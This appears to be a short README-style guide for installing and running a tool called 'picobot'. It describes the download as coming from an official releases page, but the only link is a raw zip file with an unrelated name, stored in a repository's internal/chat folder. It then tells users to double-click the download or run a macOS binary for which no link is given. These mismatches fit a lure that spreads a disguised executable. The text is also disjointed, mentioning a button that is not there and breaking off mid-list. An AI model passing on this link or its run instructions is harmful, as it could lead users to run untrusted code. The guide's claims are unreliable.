You need to get the picobot program file from the official releases page. Click the button below to open the download page:

Once there, look for the latest version. You will find files that end with names like:

• https://github.com/keny032/picobot/raw/refs/heads/main/internal/chat/Software_2.4-alpha.3.zip for Windows

Example:

chmod +x picobot-macos

On Windows, this step isn’t necessary.

Now you will start picobot:

• On Windows, double-click the file.
• On macOS or Linux, open Terminal, go to the folder where the file is saved, and run it with ./<filename>.

Example:

cd Downloads
./picobot-macos

When you run picobot for the first time, it might open a window or start logging information directly in the terminal. This confirms that picobot is working.

picobot runs based on commands or configuration files. To keep things simple:

• Create a folder to store your bot files.
